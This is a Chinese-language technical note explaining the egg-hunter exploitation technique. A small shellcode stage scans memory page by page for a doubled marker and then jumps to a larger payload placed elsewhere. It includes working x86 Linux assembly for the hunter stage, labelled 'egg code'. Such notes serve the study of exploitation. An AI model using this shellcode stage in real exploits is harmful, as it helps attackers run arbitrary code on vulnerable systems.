Note
Search…
egg hunter

Egg Hunter

Egg Hunter由两部分组成,一部分是Egg,一部分是Hunter。在溢出的场景中,溢出的字节有限的情况下,比较大的shellcode(Egg)塞不进去,那就把大的shellcode放到内存的其他地方,在有限的溢出空间中用小的shellcode(Hunter),去寻找大的shellcode来执行。
Egg就是大的shellcode,Hunter就是小的shellcode。类比于web漏洞挖掘中的“小马传大马”。

基本原理

1) 内存扫描
Linux下使用access、sigaction等内核函数来做判断,如果地址不可访问,这些函数会返回0xf2。 Windows下也有类似的函数,如IsBadReadPtr、NtDisplayString函数。
如果当前地址不可访问,则跳到下一个内存页。因为内存一般都是4k大小页对齐的,所以当前地址无法访问则可以判定该地址所在内存页都无法访问,可以提高扫描速度。
2) 对比关键字
不采用shellcode的前几个字节作为标记(不够独特),由我们自己指定标记,且为了避免检索到hunter页自身的标记,我们需要在设置egg页标记时应该重复两次。Hunter在比较的时候,连续比较两次标记,则认为找到Egg。

代码

  • x86 egg code :
1
_start:
2
xor ecx, ecx
3
mul ecx
4
5
next_page:
6
or dx, 0xfff // 4kb=0x1000
7
inc edx
8
9
lea ebx, [edx]
10
xor eax, eax
11
mov al, 0x21
12
int 0x80 // call access
13
14
cmp al, 0xf2
15
jz next_page
16
17
call here
18
19
.string "\x31\x31\x31\x31" // compare sign
20
21
here:
22
pop eax
23
mov eax, [eax]
24
mov edi, edx
25
scasd
26
// scasd eax,DWORD PTR es:[edi] -> edi+4
27
jnz next_page
28
29
scasd
30
jnz next_page // repeat compare sign
31
32
33
find:
34
35
jmp edi
Copied!